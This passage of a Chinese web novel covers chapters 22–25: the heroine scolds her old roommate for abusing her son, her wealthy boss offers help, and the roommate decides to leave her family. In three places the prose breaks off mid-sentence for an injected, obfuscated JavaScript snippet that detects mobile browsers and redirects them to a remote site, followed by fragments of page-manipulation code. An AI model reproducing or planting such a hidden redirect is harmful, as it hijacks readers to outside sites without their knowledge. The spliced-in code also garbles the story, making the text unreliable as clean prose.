舍友却一下子仿佛生气了似的,一巴掌拍落他的勺子,指着他又骂起来:“吃吃吃,总是一副饿死鬼的样子,今天在舅舅家也是这幅死样,看着就晦气!” 姜与荷搂过耀耀,捂住他的耳朵,平静地跟舍友说:“他是你的孩子,不是你撒气的工具。” “谁欺负你你就去找谁,别有劲只敢冲你的孩子使。” “他没求你生他出来。” 耀耀似乎是习惯了这样的场景,并没有大声嚎哭,只是低着头,眼里包着泪水,却不敢落下。 就像在地铁站里一样。 姜与荷给他换了只干净的勺子,切了一点鹅肝放在他的小碗里,拍拍他的背让他继续吃。 耀耀眨眨眼,让眼泪掉到地上,又乖巧地吃了起来,只是明显没有刚才那么开心了。 舍友沉默了一阵,又像是有点不服气,不依不饶起来:“我做妈的还不能教育孩子了吗?就是他不学好,在舅舅家还偷表姐的零食吃,饿死鬼投胎一样!连外公外婆都不喜欢他!” “他可是个儿子,还比不过我弟弟家的女儿,你说他多没用!连带着我也被看不起!” 耀耀默默承受着来自母亲的谩骂,只是轻轻地说了句:“是表姐给我的,我没有偷……” 舍友更是愤怒:“你还嘴硬!!!”作势要上手给他一巴掌。 姜与荷用力拍下她的手,心头憋着的火气终于压不住了:“没用的是你!” “你父母不爱你,更不会爱他!” “你父母不爱你,你生十个儿子都比不过你弟弟的一个女儿!!” “不是耀耀拖累你,是你这个没用的妈拖累了他!!你懂了吗?!” 装潢高雅的西餐厅内一片鸦雀无声,舍友浑身颤抖却说不出话,只用一双盈满泪水的哀痛的眼睛望着她。 和当年在宿舍时一模一样。 22. 喝茶 但是这次姜与荷并不觉得抱歉。 大学的舍友伤害的只是她自己,做了母亲的舍友却在把她的痛苦传递给自己的孩子。 舍友读书的时候是特别会照顾同学的热心大姐姐,因为她上学很晚,要比她们大了两三岁。具体原因她没有说过,但不用说也知道,她想上学是一件多么困难的事。 这场持续三十年的噩梦,早就该醒了。 姜与荷第一次在大庭广众下发火,但她现在没有丝毫心思去在意周边人的眼光。她的内心充斥着一股没来由的怒火,烧得她的脸颊都飞上一层薄红。 这个饭是吃不下去了,姜与荷叫来侍者结账,却被告知已经从储值卡中划好了,无需再另外付费。 她根本没有办过什么储值卡,但当下这个情况她也没心情再去深究,只当是餐厅想让她们尽快离开,免得影响其他客人。这便宜不占白不占,正好给她省钱了。 舍友抱着孩子跟着她,也不说话,只是默默流泪。 姜与荷想找个说话的地方,现在已经是秋天,晚上带着小孩子不适合在外面。但元和大厦里有包厢的店本就少,外加现在正是饭点,根本定不到。 她正思索着要不要带她们回自己家,就听见有人喊她:“小姜。” 扭头一看,居然是吴秘书。 这种时候碰到自己的顶头上司可太倒霉了,希望她勤恳老实打工人的形象没有被破坏。 姜与荷努力扯出一个笑容:“这么巧啊,您也来吃饭哈……” 吴秘书淡淡一笑:“我不是来吃饭的。” “啊?!” “裴先生在这里开会。” “呃……”难道裴慎如也在? 姜与荷感觉被命运扼住了咽喉。 “裴先生说既然碰巧遇到,就请你们喝个茶。”吴秘书笑眯眯地示意她们跟他走。 她刚才在餐厅里发火的样子不会也“碰巧”被他看到了吧…… 他不会是觉得自己有失风度,给他这个老板丢人,喝完茶就要跟她谈谈辞退的事? 姜与荷此刻的心情就是后悔,非常后悔。 早知道就多喝点凉茶去去火了。 她拖着沉重的心情跟在吴秘书身后,拐进了一个隐蔽的通道。 通道口有两名黑西装白手套的安保人员,见他们过来便拉开了护栏,待他们一行进去后又重新合上。通道尽头是一扇紧闭的白色大门,门口同样有两名安保人员,为他们用指纹开了门。 进门之后有一部电梯,吴秘书上前站定,随着一声冰冷的机械音“虹膜验证通过”,电梯门自动打开。 他们随着电梯上升,等门再次打开的时候,姜与荷有种时空错乱的感觉。 鱼骨拼接的柚木地板,铺设着几张巨大华美的团花杂宝漳绒毛毯,每张毛毯上都有一套紫檀雕花的欧式沙发桌椅。 刺绣精美的靠枕散落在棕黄色的真皮沙发上,小边桌上摆放的古董台灯透过琉璃灯罩发出柔和明亮的幽光。 百年之前的元和大厦,也许就是这个模样。 姜与荷扫了一眼,大厅里很空,只见到一两个人坐在沙发上低声交谈。 吴秘书并没有带她们坐下,而是引她们继续向前,沿着中央宽大的燕尾楼梯上了二楼。 二楼是一个个小房间,吴秘书打开了其中一间的门,示意她们进去:“有什么需要都可以按铃,小朋友也有人可以为你们照看,我就不打扰了。” 在舍友拒绝了让专人照看耀耀的邀请后,吴秘书点点头,关上了门。 这是一个很漂亮的房间,米白镂金的法式家具,深红色的天鹅绒沙发。同色系的刺绣流苏窗帘被向两边挽起,透过外面一层蕾丝纱帘,能看见窗外繁华璀璨的夜景。 茶几上已经放好一套描金玫瑰骨瓷茶具,壶中的茶水不冷不热,是正好入口的温度。边上还有几块精致的小蛋糕,都配有银制的叉勺,让姜与荷惊讶的是居然连婴儿围兜都有。 舍友这一路都愣愣的,坐下来后更是显得拘束,不敢乱动。 姜与荷拿过一个蕾丝靠枕垫在耀耀身后,给他围上围兜,又拿了一块蛋糕让他自己吃。耀耀也很乖,把瓷碟放在自己腿上,小口小口地吃着。 她又为自己和舍友倒了两杯茶,汤色红亮,香气馥郁,入口醇厚回甘,抚慰了她忐忑的心。 算了,事已至此,不管自己会不会被开,先把眼前的事解决了再说。 她放下茶杯,开口道:“你打算怎么办?” 舍友闻言一惊,继而又瑟缩了下去。 不知道在想什么,她沉默了好一会才回道:“我……我还能怎么办呢。” “我觉得你应该先解决家里的问题。” “……哪个家?” “你心里不是一直只有一个家吗?” 舍友低头不语,伸手抹了抹眼泪,艰难地说:“我也没办法呀,照顾爸妈是我的责任,我是出于责任才……” 姜与荷懒得客气了,她现在有种破罐子破摔的犀利:“你弟弟也是你的责任?你爸妈跟你玩转移支付呢?” “你不是出于责任,你是出于缺爱。” “早就告诉过你了,不爱就是不爱,你做得再多他们也不会爱你的!” 舍友摇头哭了出来:“是他们一直逼我,我没办法……” 姜与荷越发不客气:“他们拿刀架你脖子上了吗?没有怎么算逼你?” “是你自己一直在骗自己,每次都想着再给一次钱,他们就会爱你了是吧?!” 舍友终于痛哭出声。 她的双手紧紧攥着放在腿间,低着头泪如雨下。 姜与荷没有递纸巾给她,她也没有伸手去擦,于是那些眼泪一颗一颗地砸到她干枯粗粝的手上,碎成很多瓣。 耀耀此时也把腿上的蛋糕放到茶几上,默默地爬到妈妈身边抱着她,头埋在她的脖颈里。 舍友紧紧地回抱住自己过分瘦小的儿子,小声的啜泣渐渐变成了嚎啕大哭。 姜与荷坐在对面,低垂眼帘,默默地等待这一场悲苦的宣泄。 良久,舍友终于平复了一些情绪,沙哑的嗓音低低地说:“其实我也挣扎过很多次,但每次我有一点不情愿,我爸妈就要骂我白眼狼、不孝顺……” “他们骂你,你会怎么样呢?” “我会被村里人戳脊梁骨……” “村里人戳你脊梁骨,又会怎么样呢?” “我会在村里呆不下去,没法回村……” “不回村又怎么样呢?那里很美好吗?” 舍友想起了她成长的那个村子。落后、闭塞、愚昧,不断吞吃着像她这样的女性,靠着这些血肉延续了一代又一代。 她老家那片的村子里,各种原因死亡的女婴太多,使得农村男多女少。而现在的新媳妇都看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486747|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上农村的自建房,都要在城里买房才肯嫁人。 像她现在的婆家,愿意出38万的彩礼,就是因为38万和城里的房子比起来还是便宜;而收了38万就肯把名牌大学毕业的女儿嫁出去的家庭,也实在是少。 现在村里有点能力的都搬出去了,只留下些老人,和实在没本事的家庭。这些家庭基本都是没有女儿的,因为没有女儿就没有彩礼,就没有儿子房子的首付。 因为女性存续的村子,最后也因为女性开始消亡,舍友突然觉得,实在太可笑了。 她喃喃自语:“不……一点都不美好……” 姜与荷语气平淡:“那说到底,也不会怎么样啊。” “难道还会比你现在更差吗?” 舍友像被突然砸醒了一样,抬起头看着她的脸,继而苦笑:“你还是那么漂亮……我现在看着比你大十几岁。” “我是个一无所有的失败的母亲。” 姜与荷缓缓地告诉她:“大学的时候,你成绩一直特别好,又会照顾人,教授喜欢你,同学们也都喜欢你。” “而我学习不够努力,还整天喜欢窝在寝室里看书睡觉玩电脑,到毕业了都没认识几个人。” 舍友仿佛回忆起了她人生最美好的那段时光,脸上带了点笑意,又马上被苦涩冲淡:“但你现在过得多好呀,我跟你一个天一个地。” “要不是你,我这辈子都不知道还有这种地方……就连元和大厦,也是想买个好点的礼物给我外甥女赔礼道歉才来的,进来看了一看就被吓走了。” “没想到我现在会带着耀耀坐在元和大厦的顶楼喝茶……今天就像做梦一样。” 其实,她之前也不知道还有这种地方……但是为了让舍友清醒,今天这个逼不得不装了。 “你有没有想过,如果你当年留在了大城市,现在会混得比我还好?” “我……我根本不敢去想。”舍友扭头看着窗外的夜景。 姜与荷也没有再步步紧逼:“现在也不算晚啊。” “我……我还能有什么机会吗?” “人家八十岁都能竞选总统,你三十岁还没到,怕什么?” “……”舍友一时语塞。 姜与荷这次既然决定多管闲事,就不能光放嘴炮:“我给你转5万,不用你还,怎么处理看你自己。不管你是拿回家养孩子,还是想办法出去上班都行。” “我们这专业,小地方难找对口的工作,这5万也够你在大城市租房住一阵。实在找不到你当保姆当月嫂也好,你这学历绝对抢手。要是遇到什么困难都可以跟我说,我能帮的肯定帮你。” “但你要是选择回老家带孩子,我们以后就当作不认识。” 大学时代她只是个穷学生,面对舍友只能袖手旁观;好在现在她有了一点能力,终于能说出这些迟到了四年的话。 钱,可真是个好东西啊。 舍友连连拒绝:“我……我要出去上班的,但我不能拿你的钱。我一年都没有5万……这太多了……” 姜与荷没好气地说:“你没钱怎么出去?拿着吧,骨气能当饭吃吗?你连你儿子都喂不饱!” 耀耀此时正盯着桌上没吃完的小蛋糕,闻言抬头看了妈妈一眼。 他的下巴尖尖的,因为脸庞太过瘦小显得眼睛格外的大。 舍友搂过他,给他喂了一口蛋糕,低低地说:“好。” 23. 帮忙 虽然姜与荷并不相信自己劝一劝,舍友就能彻底对家人死心,但是至少她愿意踏出第一步,以后可以慢慢来。 既然她插手了舍友的人生,就做好了负责的准备。反正无论未来如何,都不会比现在更差了。 只要舍友愿意走下去,姜与荷就愿意拉扯她;如果她想回头,那姜与荷只能和她真正地分道扬镳。 她打开门,想跟吴秘书告别。门口不远处的走廊上有两位身着浅紫色制服的接待小姐,见到姜与荷出来便向她走来。 “姜小姐您好,吴秘书吩咐我们等您出来了就带您过去。” “好的,”她看了一眼舍友,“我朋友……” 其中一位接待小姐向她微笑:“请让我带您的朋友去休息室,那里有小朋友的游玩区域。” “小荷……”舍友明显对于这个奢华而陌生的地方有些害怕,惴惴不安地看着她。 “去吧。”姜与荷并没有开口让她和自己一起,反而语气坚决地让她去休息室。 舍友见她态度坚定,也没有再说什么,抱紧耀耀随着接待小姐走了。 “姜小姐,这边。”接待小姐躬身邀请。 “好的。” 她们去的地方在走廊尽头,吴秘书见她们来了,向姜与荷点头致意:“裴先生就在里面。” 裴先生还要见她啊?不会真的是跟她谈谈辞退的事吧? 这可怎么办,她能搬出沈求章哭一哭吗?但只听过寡妇哭老公的,哭前男友好像有点奇怪。 人家好好地在美国念书呢,万一裴慎如觉得她在触霉头,更生气了呢? 姜与荷脑内一瞬间千回百转,实在是形势比人强,她刚才还信誓旦旦要让舍友出去工作,要把她拉出泥潭,转头她自己被裁了,这下岂不是尴尬了,到底谁拉谁啊? “嗯?”见她低着头不动,吴秘书表示疑惑。 她只能硬着头皮开门。不管了,今天无论如何都要保住工作,实在不行,让她回观声也好啊! 没想到推门进去,她首先被漫天繁星摄住了心魂。 一颗颗细碎而耀眼的星光,透过巨大的玻璃穹顶,霸道地占据了她所有的视线。 一瞬间她不知道自己究竟置身何处,是最繁华的闹市,还是寂静平阔的田野?但她幼时在溪山上看到的星星,也没有这么繁密漂亮的光芒。 突然,这些星星一瞬间消失,只留下了一片深浓的黑色。 怎么回事,宇宙关机了? 姜与荷不明所以,紧张地四处张望,就见到了坐在一张单人沙发里的裴慎如。 他戴着一副金丝边眼镜,穿着白色衬衫和浅灰蓝的羊绒马甲,修长的双腿包裹在棕米色的长裤里。 此刻他正拿起一个咖啡杯啜饮了一口,抬头告诉姜与荷:“市中心看不到星星。” “那我刚才看到的是……?” “全息影像。” ……抱歉哦,不太了解你们有钱人的把戏。 裴慎如抬手示意:“坐吧。” 桌上还有一杯咖啡,看起来像是拿铁,放在裴慎如斜侧方的双人沙发前。 姜与荷忐忑不安地在他身侧坐下,暗蓝色的桃花心木雕花丝绒古董沙发造型优美,她却毫无欣赏之意,反而觉得如坐针毡。 “嗯……裴总您找我有什么事吗?”该来的还是要来的,姜与荷选择快刀斩乱麻。 裴慎如放下咖啡杯:“我看你和你的朋友好像有事。” 姜与荷打哈哈:“呃,我们就是讨论了下……找工作的问题。” “难得看见你发脾气。” 姜与荷感觉自己嗅到了危险的信号,努力挽回形象:“哈……呵呵……怎么是发脾气呢,就是老同学见面,太激动了。” “我说过,你有任何困难,都可以找我。” 微微侧头看向她,室内散放着几架落地台灯,暖色的光线映在他高挺的鼻梁上,落下一片阴影,让他锋利的轮廓都显出了几分柔和。 每次见到他都战战兢兢,姜与荷总是容易忘记裴慎如是位难得一见的大美男。 清了清被老板颜值迷惑的大脑,姜与荷斟酌着开口:"目前都挺好的,很感激您给我的工作机会。" 懂我的暗示了吗? 只要不开除我,我就没什么困难,谢谢您嘞。 姜与荷当然不可能再开口提什么要求,这也太没眼色了,万一是老板设的陷阱呢?能保住这份工作,一切就都有办法。 裴慎如好像有些无奈,低头轻笑了一声:“你不需要这么谨慎,我也不需要试探你。” “如果想开除你,我会直接让吴秘书通知你。” 一种拙劣的小心思被人看穿的尴尬感瞬间席卷了姜与荷全身,她感觉自己脸上已经开始烧起来了。 “怎么会呢……我没有这个意思……哈哈……”她干笑几声试图蒙混过关。 裴慎如淡笑看着她:“现在,你能告诉我,有什么我可以帮忙的吗?” 事已至此,遮遮掩掩已经没什么意义,姜与荷低头思索了一会,跟裴慎如开口:“我的朋友……她现在境况很不好,毕业后就一直在家里带孩子……我希望她能改变现状。” “你的大学同学?” “嗯,是我的舍友。” “是本地人吗?” “不是,她家……比较远。” “留在海城对她来说负担太大,让她选择一个城市,我可以提供一份合适的工作。” 姜与荷有点不好意思:“这……太麻烦您了,我们可以慢慢找……” “改变人生的勇气很难得,我建议你尽快推她上路。” 确实……无论好坏,要让一个人完全改变自己习惯的生活都是很困难的。 舍友好不容易有了一点决心,如果因为一直找不到合适的工作而蹉跎、挫败,舍友又心生退意怎么办? “好的,我马上就和她商量。”在这件事上,姜与荷也不客气了。 但是平白受人恩惠,对于她来说也实在不是件能心安理得接受的事。 沈求章这个名字,对现在的她来说甚至已经开始有点陌生了。她却仍然沾着他的光,想想实在有些厚颜。 “请问……沈求章他还好吗?”姜与荷不知道该如何开口,只能先来个问候。 虽然没有删除联系方式,但是姜与荷认为好的前任应该像死了一样,所以没有联系过沈求章。他也没有主动找过姜与荷,只是朋友圈偶尔会发一些实验和风景照。 裴慎如略微皱眉:“你还记挂着他?” “不是不是。”怕被老板误会还对前男友有非分之想,姜与荷连忙摆手否认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486748|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “没有什么消息,就是好消息。” “哦哦……”姜与荷斟酌着措辞,努力思考怎么才能说得更自然。 “你想说什么?” “我是想说,我跟他已经是过去很久的事了……所以您不用再因为他而特意照顾我了。” 裴慎如并没有答话,只是静静看着她。 “我们其实才交往了一个礼拜……第一次约会就出了岔子,然后就分手了。” 姜与荷一鼓作气说完:“我们不合适,分手是很正常的事,他并不亏欠我。因为他的关系我能得到更好的工作已经非常占便宜了,所以您也不需要再为了他费心关照我。” “我以后一定会更加努力工作的。” 结尾还不忘和老板表一下忠心,姜与荷觉得自己的表现堪称完美。 不过裴慎如帮她这么多,她再想着摸鱼混日子也实在不好意思了。 裴慎如沉默了一会,告诉她:“我尊重你的想法。” “很晚了,带你朋友去休息吧。” “嗯嗯好的。”姜与荷起身告辞。 “吴秘书会安排人带你们去紫庭。” “啊?我的公寓住得下的……” 裴慎如转身走向落地窗边的办公桌:“相信我,紫庭更合适。” 姜与荷半晌无言,最后低头说道:“谢谢。” 她转身走出房门,吴秘书让她跟着接待小姐去找舍友。 舍友带着耀耀在休息区玩得很开心,这里像个小型的游乐场、电影院、游戏厅,各种尖端豪华的设备应有尽有,还有漂亮温柔的姐姐陪着耀耀一起玩。 姜与荷第一次见到耀耀脸上露出那么灿烂生动的笑容,不知道舍友是第几次见到。 去往紫庭的路上,舍友也明显活泼了许多,再也没有刚来时的苦闷拘束,兴奋地跟姜与荷说着她的见闻。等进入紫庭,看着奢华贵气的大厅,舍友又有些拘谨了起来。 她们不需要在前台办理入住手续,有专人直接领她们去了房间。 天色已晚,庭院里的一切不如白天看得那么清楚,但是粉墙花影、假山流水,在夜灯的光晕下另有一番风情。 她们今晚住的是一栋小巧精致的二层别墅,院中有一株桂花开得正好,清雅的香气透过窗户隐隐飘进了房间。 姜与荷躺在云朵般柔软的大床上,盖着无比柔滑的真丝床品,心内叹息,这里确实更合适。 假如带她从元和大厦顶楼回了自己那狭小的出租屋,可能舍友对未来的美好憧憬就浇灭一大半了。 耳闻目睹,比苍白无力的语言更有冲击力。 感谢裴慎如,如果不是他今晚的这次“碰巧”,可能她说干了口水都劝不动舍友。毕竟她只是一个大学同学,而另一边是她渴求的亲情。 人往高处走,但没有去过的人是想象不出高处的风景的。 还有什么比让她亲身体验一次更有效呢? 坐在最高端的元和大厦顶楼包间喝茶、享受最高标准的贴心服务、睡在最奢侈的酒店别墅里,每一样都足够梦幻。 只有让她亲眼见到,自己放弃了本该多么灿烂的人生,才会悔不当初。 见到的越美好,就会越后悔。 越后悔,改变的想法就会越坚定。 感谢裴慎如。 24. 再见 现在将近十点,还没到姜与荷平时睡觉的时间。她躺在床上刷着手机看搞笑视频,却越刷越觉得有股躁郁之气萦绕心头,一点都笑不出来。 想帮舍友的念头不算一时冲动,但她也的确低估了这件事的难度。 不得不说她今晚运气实在太好,能碰巧遇到裴慎如,他又碰巧大发善心,愿意帮她一把。 让舍友坚定思想、帮舍友找工作,这两件最难的事情算是解决了,那剩下的呢? 海城消费太高,而且她的父母弟弟都在这里,所以海城不能呆。 如果去别的城市,姜与荷不可能放下工作跟着她,那么舍友这样毫无工作经验、又困在偏远农村四年、还带着一个孩子的单身母亲,一个人能适应吗? 如果她坚持不下去,又想退回原先的生活模式怎么办? 更别说还有她婆家的问题……她丈夫会让她顺利地带着耀耀出去工作吗? 姜与荷越想越头痛,越想越觉得自己真的是头脑简单。她平时是个胸无大志、不爱担事的人,现在却觉得自己肩头陡然压上了千斤重担。 但是无论如何,她既然主动选择推着舍友往前走,那么她就不能当那个先逃跑的人。 在床上翻来覆去半天,姜与荷突然想起了小碗。 上次联系的时候,她仍然在那个美丽的海滨城市,过着很快乐的生活。在电话里她语气雀跃,和姜与荷商量着哪个旅行地比较好。 在海城的时候,小碗是绝不会有旅行这种花钱的爱好的。 这个点小碗应该也还没睡呢,姜与荷坐起身拨出了电话。 “小荷?怎么这么晚找我啊?”小碗的声音有些惊讶。 “嗯……就是,我有一个朋友……” “你怎么了?”小碗语气很是关心。 “……真的是我朋友啦!我大学的舍友。” “哦哦,你说。” “她没毕业就被她爸妈……嫁出去了,嫁在老家的村子里。她一直在家里带孩子,这次来海城看她爸妈和弟弟,偶然碰到我了。我想帮帮她,先让她找份工作。” 小碗明显懂了这几句话的意思,她沉默了一会,开口道:“我能帮上什么忙吗?” “我想问问你,怎样才能让她坚定地往前走呢?大学时候她就已经在宿舍里大哭过好多次,最后依然还是听她家里的话。” 小碗思索了一下,道:“我是在某一个瞬间突然就懂了,我永远也不会从我父母身上得到我想要的爱,所以我决定自己爱自己。” “我换了地址、换了联系方式,和他们不再联络,突然就觉得自己好轻松、好自由。我不想再过以前那种窒息的日子了,为此我什么都不怕。” “无论如何,让你舍友先走得远远的吧。对于无法沟通的人,远离是最好的办法。可以来我这里,我还能照顾一下她。” 挂掉电话,姜与荷搜索了一下小碗所在的城市。 锦安,一个很美的名字。 这是一个经济发达的海滨城市,外贸和电商业务都很兴盛,确实很适合舍友。 问题得到了初步解决,她终于能躺下好好休息。 第二天一早,她起身下楼的时候舍友已经带着耀耀快吃完早饭了。管家见姜与荷下来,拿出菜单请她选择早餐。 姜与荷不太喜欢喝牛奶,选了米乳豆浆先喝着。草莓松饼和水果酸奶很快送了上来,姜与荷看耀耀也很喜欢,就问舍友:“耀耀还可以吃一点吗?我看他小肚子挺鼓的。” 舍友笑道:“给他一点尝尝味道就行了,今天他早饭吃得可多了。” 管家递过两个小碗,姜与荷分了一点进去,看舍友拿着小勺子喂耀耀吃。 “你昨晚没回去,跟家里说过吗?” 舍友的手一顿,停滞了几秒,然后说:“没有。” “那他们……联系过你吗?” 舍友笑了笑:“也没有。”她放下松饼,让耀耀喝一点酸奶。 姜与荷开口道:“我有一个海城认识的朋友,现在在锦安。” “她是锦安人吗?”舍友有点不解。 “不是。” “那她为什么离开啊?海城这么好。” “因为她拒绝被爸妈拿去换彩礼。” 舍友的眼神恍惚了起来,她看着耀耀,又像是看着自己的另一种人生。 如果她当年能够更聪明一点、更清醒一点、更勇敢一点,那今天的她,会是什么样子呢…… “你去锦安生活好吗?我朋友还能照顾你一点。你从没上过班,一个人带着孩子飘在异乡,我怕你撑不下去。” “可是……这样会不会太麻烦你朋友了?” “是她建议你去锦安的,她很欢迎你们。” “她现在……过得怎么样?” “过得很好,一个人的生活很幸福。” “……好。”舍友低头,抿出一个浅浅的笑容。 吃完早饭,管家带着耀耀出去玩,姜与荷和舍友坐在院子里的桂花树下喝茶。 姜与荷看着杯中飘进的两三片桂花瓣,问道:“你考虑过了,要带着耀耀一起吗?” “嗯。” 舍友回得很快,很坚定:“我落到现在这种境地,可以怪很多人,但最该怪的是我自己,是我自己愚蠢、懦弱。” “无论怪谁,都怪不到耀耀头上。你说得对,他没求我生他出来。” “让他生在那样的家庭里已经是我的错了,我不可能再抛弃他。如果让他留在老家,他都不一定能健康长大。” 姜与荷转头看她,笑道:“过了一晚,人都变清醒了?” 舍友——她叫郑红——低头,很是不好意思:“我这几年也觉得自己脑子坏了,一会清楚一会糊涂的。明明知道耀耀什么错都没有,但有时候却总是忍不住冲他发脾气。” 她伸手抹了抹眼睛:“你看他现在又瘦又小,人也总是畏畏缩缩的,不敢说话……他的身体我养不好,性子也被我弄坏了……” 姜与荷放下茶杯,递过桌上的手帕给她:“你过得太痛苦了,就会找个发泄的口子。你又太无力了,只能冲着耀耀发泄。” “你做得确实不对,但你也确实没有办法。再多过几年,你的脑子就真的要坏了。” “说到底都是没钱闹的,你好好努力多挣点钱,什么事都会有办法的。” 郑红擦着眼泪,重重地点了点头。 她不是个完美的母亲,但她是世界上最爱耀耀的人。挣脱牢笼的时候,她没有想过把耀耀当成拖累扔下,就凭这点,姜与荷觉得自己的钱花得很有意义。 该考虑点实际的问题了,姜与荷问道:“你的证件带在身边了吗?” “带着的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495074|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那你还要回一趟你弟弟家吗?” “要的,我行李还在那里。”郑红握紧了双手,“虽然东西不多,但能省一点是一点。” “好,我陪你去。” 吃过中饭,酒店派了车送她们过去,耀耀有人陪着在房间里睡午觉。路上颇要一点时间,因为郑红的弟弟家在海城的外环,差不多已经算郊区的地方。 小区看着还不错,不算破旧。姜与荷跟着郑红上楼,开门后发现这个家实在是很小,她感觉比自己租的单身公寓也没大多少。 这么点地方要住五口人,怪不得昨晚她没回去家里人也不问,可能巴不得她不回来住吧。 郑红开口向屋内的人介绍:“这是我的朋友,昨晚我跟耀耀就睡在她那里。” 屋内就一对老夫妻,看起来像她母亲的人开口就是责怪:“晚上不回来也不知道打个电话,当妈的人了还一点不懂事,别人还以为你小气到跟孩子计较呢。” 郑红没再辩解什么,淡淡应和:“嗯,是我不懂事。” “耀耀呢?让他给妮妮道个歉,这事就算过去了,男孩子就要大气点儿。”说话的应该是她父亲,理着一个小平头,黑面阔嘴,眉心纹路很深,应该是经常皱眉。 没人招呼姜与荷进屋,她也并不想进去。里面东西堆得满满当当,她怕自己再进去就要溢出来了。 “耀耀在我朋友家睡觉,我来拿行李。” 她父亲闻言眼睛一瞪:“怎么,你还动气了?”语气中颇有种对她胆敢不满的不满。 “没有,只是不想再给宏强添乱了,耀耀爸也催我回去收谷子呢。”郑红软下了口气,低眉顺目。 她的母亲——那位三角眼八字眉的老阿姨接上了话茬:“知道你们给宏强添乱了就好,为了招待你们啊,宏强把家里的好东西都拿了出来,结果耀耀还……哎,本来主卧都打扫好了,准备给你们住的,我们挤一挤打个地铺就行,你们又不肯住……” 姜与荷扫视了一圈,打扫?这个家里可一点都没有打扫过的痕迹啊。 郑红打断了她的喋喋不休:“我知道的,你们在海城日子过得不容易。可惜耀耀爸也没什么本事,我婆婆又管得严,耀耀想吃点什么我都买不起……” “小孩子好好吃饭就行了,馋什么嘴!”她母亲似乎不想接话。 “这里好吃好看的太多了,我还是带着耀耀回老家吧……”郑红低头,很是挫败的样子。 她父亲赶忙拎着门边的一个小箱子出来:“走吧,别错过了车。” 郑红接过箱子,拉出拉杆,走前看了她父母一眼:“爸妈,再见了。” 跟着她下了楼,姜与荷很是意外。 本以为会有一场撕心裂肺的争吵,没想到却是这样轻飘飘的告别。 走在前面的郑红停下了脚步,转身问她:“你是不是很意外?” 姜与荷抿了抿嘴,点点头。 “我就是突然觉得很累。大学时候我大哭过那么多次,但除了耗尽我自己的精血之外毫无用处。” “我就像个演着独角戏的小丑。” “丑角扮够了,现在我也想对自己好点,想过幸福快乐的日子。” 说完,她转身大步向前。 会的。 姜与荷看着她的背影,默默祝福。 我们都会过上幸福快乐的日子。 25. 随行 怕夜长梦多,姜与荷准备让郑红尽快去锦安。 昨晚小碗已经发了推荐的宾馆给她,现在就得把机票住宿订了。 “你把卡号给我,我现在给你转钱。” “你借我一万就行了,一万块够我们花很久了,我还能上班挣钱……” “外面花钱地方多着呢,你去了就知道了。也别太节省,该花的就花,至少多吃点好的。快点,把卡号给我。” 郑红在有些掉皮的挎包里翻了翻,掏出一张卡给她。 姜与荷看了看:“这还是我们大学里办的那张卡?” 郑红点点头。 没再说什么,姜与荷迅速转了钱。很顺利,刚好卡着转账限额,完美。 “你跟你老公说过了吗?” “还没呢,我还不知道怎么说……” “不管怎么样你先去锦安,回老家了可能就出不来了。也别老实说你在哪,就跟你婆家说你爸妈帮你在海城找到了个工作,先带着耀耀在海城打工。你每个月寄点钱回去,先稳住他们,以后的事以后再说。” “嗯嗯!”郑红听得很认真。 回去后耀耀已经醒了,正在开心地吃水果。 粉色的菠萝,白色的草莓,还有装在礼盒里的6颗荔枝,不开口就能让人知道它的身价。 郑红温柔地看着吃得正欢的儿子,只过了一晚而已,她感觉自己儿子黑瘦的小脸好像都丰满红润了一些。 她转头跟姜与荷说话:“我没订过机票,你帮我看看有没有今天晚上的票呀?” “这么着急?” 郑红笑了笑:“这里太好了,但是这里也不属于我们。摸一摸就够了,呆久了再离开对耀耀更不好。” “嗯。”姜与荷点点头,由俭入奢易,由奢入俭难。 她想起来件事,差点忘记告诉郑红:“你到了锦安后别着急,会有人帮你找工作,我到时候联系你。” “是你的那位朋友吗?” “不是,是……我老板。” 郑红闻言,看着她的眼神里都多了几分崇拜:“你肯定在工作上特别出色,老板才这么器重你。” 姜与荷的视线有点游移:“还行吧……主要是老板最近喜欢做慈善。” “你看你,能去元和大厦顶楼喝茶,还能住这么好的房子,一晚上得多少钱啊?读书时候都看不出来,原来你这么上进的。” 姜与荷的脸都红了,她甚至感觉自己受到了嘲讽…… 但是看着郑红真诚的目光,她只能假咳几声,厚着脸皮开始煮鸡汤:“你只要好好努力,也能跟我一样,一切都来得及。” 郑红由衷地称赞着:“还是你聪明,劲都留着往该使的地方使。不像我,大学里瞎折腾一通,却在最重要的时候犯糊涂,最后混成这样。” 她说着说着,情绪又低落了下去。 